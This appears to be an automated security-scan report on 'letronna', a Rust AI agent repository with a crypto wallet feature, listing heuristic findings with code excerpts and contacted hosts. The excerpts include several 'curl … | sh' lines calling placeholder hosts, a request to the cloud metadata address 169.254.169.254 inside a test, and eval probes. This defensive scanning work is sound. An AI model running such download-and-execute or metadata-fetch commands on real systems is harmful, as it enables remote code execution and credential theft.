github.com / gadlus
gadlus/ letronna
Rust·712 files·commit 0bb402a·scanned 6d ago·cached ✓
70/100
DANGEROUS
High-risk patterns found. Review the flagged code and its context before running it.
scored by engine v10: rules have changed since, rescan for the current result
verdict accurate?
Created 13 days ago
Crypto/Web3 project
Created 13 days ago
threat-state: dangerouslive
FINDINGS ░▒▓
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cli/src/background.rs
let program = std::env::current_exe().map_err(|e| format!("Cannot start it: {e}"))?;
let mut command = std::process::Command::new(program);
command
.args(&args)+8criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cli/src/install.rs
);
let out = std::process::Command::new("powershell")
.args(["-NoProfile", "-Command", &script])
.output()+8criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cli/src/main.rs
fn start_instead(program: &std::path::Path) -> i32 {
let mut command = std::process::Command::new(program);
command.args(std::env::args_os().skip(1));
// It takes this terminal over rather...+8warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.crates/core/src/command.rs
curl -fsSL https://example.com/install.sh | sh+4warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.crates/core/src/goal.rs
curl -s https://x/setup.sh | sh+4warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.crates/core/src/judge.rs
curl -s https://get.example.net/setup | sh+4criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/core/src/workflow/host.rs
const tries = {
direct: () => eval("1 + 1"),
indirect: () => (0, eval)("1 + 1"),
called: () => Function("return 1")(),+8criticalFunction() constructor detectednew Function() is equivalent to eval() and can execute arbitrary code strings.crates/core/src/workflow/host.rs
called: () => Function("return 1")(),
constructed: () => new Function("return 1")(),
reached: () => (() => {}).constructor("return 1")(),
asynch...+5criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/core/src/workflow/prelude.js
const compiling = () => {
throw new TypeError("eval() and the Function constructor are not available in workflow scripts.");
};
// Kept as a name, so instanceof Function still works.+8warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.scripts/clawbench/test_scripts.py
env = model_env(AGENT_DATA_DIR=str(data), **extra)
return subprocess.run(["bash", str(SETUP)], env=env, capture_output=True, text=True)
+4criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.scripts/harbor/tests/test_agent.py
async def exec(self, command, user=None, env=None, cwd=None, timeout_sec=None):
self.commands.append((command, user, env or {}))
if self.failing and self.failing in command:+7warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.examples/plugins/test-gate/plugin.py
try:
status = subprocess.run(
["git", "status", "--porcelain"], cwd=folder, capture_output=True, timeout=10
)+4warningRust wallet/crypto code with network activityCode handling private keys or signing and also making network requests may be exfiltrating secrets or sending funds to an attacker.crates/core/src/update.rs
use crate::store::tests::Scratch;
use ring::signature::{Ed25519KeyPair, KeyPair};
use std::io::{Read, Write};
use std::net::TcpListener;+5warningHardcoded IP address in network callFetching data from hardcoded IP addresses instead of domain names is suspicious and may indicate C2 communication.crates/core/src/web.rs
fn an_address_the_browser_would_refuse_is_not_fetched() {
let why = fetch("http://169.254.169.254/latest/meta-data/", &[], false).unwrap_err();
assert!(why.contains("metadata"), "{...+5criticalBrowser credential store accessAccessing Chrome, Firefox, Edge, or Brave profile directories to steal cookies, passwords, and session tokens.crates/core/src/cdp.rs
r"Microsoft\Edge\Application\msedge.exe",
r"BraveSoftware\Brave-Browser\Application\brave.exe",
r"Chromium\Application\chrome.exe",
];+10warningExtremely long lines (>1000 chars)Very long lines in source files (not minified bundles) can hide malicious code.crates/core/src/review.rs+4
infoSuspicious file in repoVery large source file (691KB) — could contain obfuscated payloadcrates/core/src/chat.rs+2
infoSuspicious file in repoVery large source file (652KB) — could contain obfuscated payloadcrates/core/src/driver.rs+2
Scores reflect the files and rules covered by this scan. How to read this report
411 files scanned @ 0bb402a | 11/19/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration10
file system access10
obfuscation4
supply chain12
owasp / injection0
telemetry
files 411/712rules hit 20engine v10commit 0bb402a
github
gadlus/letronna
An agent with its own cloud and wallet. Prompt in, live link out. Written in Rust. CA: 0xa2753fd0bc86b8ceb55ffd2698679c7f214785f1
26
2
20d
712 files
411 scanned(58%)
0bb402a
network indicators░▒▓
Hosts this code names or would connect to. Top 50 of 240, decoded and call-site destinations first. Informational, not scored.
- https://raw.githubusercontent.compaste hostcrates/core/src/skills/install.rs:659 +1 more
- http://www.apple.com/DTDs/PropertyList-1.0.dtdurlscripts/bundle-macos.sh:42 +1 more
- https://api.anthropic.comurlscripts/clawbench/setup-letronna.sh:74 +1 more
- https://generativelanguage.googleapis.comurlscripts/clawbench/setup-letronna.sh:76
- https://discord.com/api/webhooks/5551234/…discord webhooktest onlycrates/core/src/info.rs:943 +1 more
- https://discord.com/api/webhooks/1/…discord webhooktest onlycrates/core/src/info.rs:965 +4 more
- https://github.com/me.keysurlnext to exectest onlycrates/core/src/untrusted.rs:759
- https://github.com/Qihoo360/harness-benchurlbench/harness-bench/known_issues.json:3 +1 more
- https://arxiv.org/abs/2605.27922urlbench/harness-bench/results/2026-10-13/results.json:4
- https://github.com/me/appurlcrates/cli/src/cloud.rs:140
- https://mcp.sentry.dev/mcpurlcrates/cli/src/mcp.rs:56 +2 more
- https://evm-rpc.sei-apis.comurlcrates/cli/src/wallet.rs:739 +3 more
- https://docs.rs/serdeurlnext to network calltest onlycrates/core/src/approvals.rs:603 +1 more
- https://docs.rs/tokiourlnext to network calltest onlycrates/core/src/approvals.rs:608
- https://letronna.aiurlcrates/core/src/auth.rs:28 +3 more
- https://api.letronna.aiurlcrates/core/src/auth.rs:39
- https://cloud.letronna.aiurlcrates/core/src/cloud.rs:12
- https://github.comurlcrates/core/src/cloud.rs:472 +2 more
- http://metadata.googleurlnext to network calltest onlycrates/core/src/command.rs:3363
- http://www.idpf.org/2008/embeddingurlcrates/core/src/docs/epub.rs:43 +1 more
- https://api.typesafe.ai/v1/systemoneurlcrates/core/src/jev.rs:45
- https://api.telegram.orgurlcrates/core/src/messaging.rs:24
- https://discord.com/api/v10urlcrates/core/src/messaging.rs:25
- wss://gateway.discord.ggurlcrates/core/src/messaging.rs:26
- https://slack.com/apiurlcrates/core/src/messaging.rs:37
- https://cdn.discordapp.comurlcrates/core/src/messaging/files.rs:216
- https://media.discordapp.neturlcrates/core/src/messaging/files.rs:217
- https://models.dev/api.jsonurlcrates/core/src/models.rs:151
- https://github.com/ggml-org/llama.cpp/releases/download/burlcrates/core/src/on_device/catalog.rs:464
- https://huggingface.courlcrates/core/src/on_device/hub.rs:26 +1 more
- https://docs.rs/tokio/latesturlnext to network calltest onlycrates/core/src/permissions.rs:1284
- https://api.anthropic.com/v1urlcrates/core/src/providers/anthropic/mod.rs:11 +8 more
- https://console.anthropic.com/settings/keysurlcrates/core/src/providers/anthropic/mod.rs:13
- https://auth.openai.com/oauth/authorizeurlcrates/core/src/providers/chatgpt/mod.rs:24
- https://auth.openai.com/oauth/tokenurlcrates/core/src/providers/chatgpt/mod.rs:25
- https://auth.openai.com/api/accounts/deviceauth/usercodeurlcrates/core/src/providers/chatgpt/mod.rs:49
- https://auth.openai.com/api/accounts/deviceauth/tokenurlcrates/core/src/providers/chatgpt/mod.rs:50
- https://auth.openai.com/codex/deviceurlcrates/core/src/providers/chatgpt/mod.rs:51
- https://auth.openai.com/deviceauth/callbackurlcrates/core/src/providers/chatgpt/mod.rs:52
- https://chatgpt.com/backend-api/codexurlcrates/core/src/providers/chatgpt/mod.rs:127 +4 more
- https://chatgpt.com/codexurlcrates/core/src/providers/chatgpt/mod.rs:129
- https://claude.ai/oauth/authorizeurlcrates/core/src/providers/claude/mod.rs:40
- https://api.anthropic.com/v1/oauth/tokenurlcrates/core/src/providers/claude/mod.rs:41
- https://platform.claude.com/oauth/code/callbackurlcrates/core/src/providers/claude/mod.rs:61
- https://claude.ai/settings/profileurlcrates/core/src/providers/claude/mod.rs:72
- https://letronna.ai/docs/gatewaysurlcrates/core/src/providers/custom/mod.rs:13
- https://generativelanguage.googleapis.com/v1beta/openaiurlcrates/core/src/providers/gemini/mod.rs:13 +1 more
- https://aistudio.google.com/apikeyurlcrates/core/src/providers/gemini/mod.rs:15
- https://api.letronna.ai/v1urlcrates/core/src/providers/letronna/mod.rs:13 +5 more
- https://letronna.ai/docs/hosted-modelsurlcrates/core/src/providers/letronna/mod.rs:15
architecture░▒▓
entry (0) flagged (49) pkg (393)
778 nodes · 1060 edgesscroll to zoom · click node to jump to finding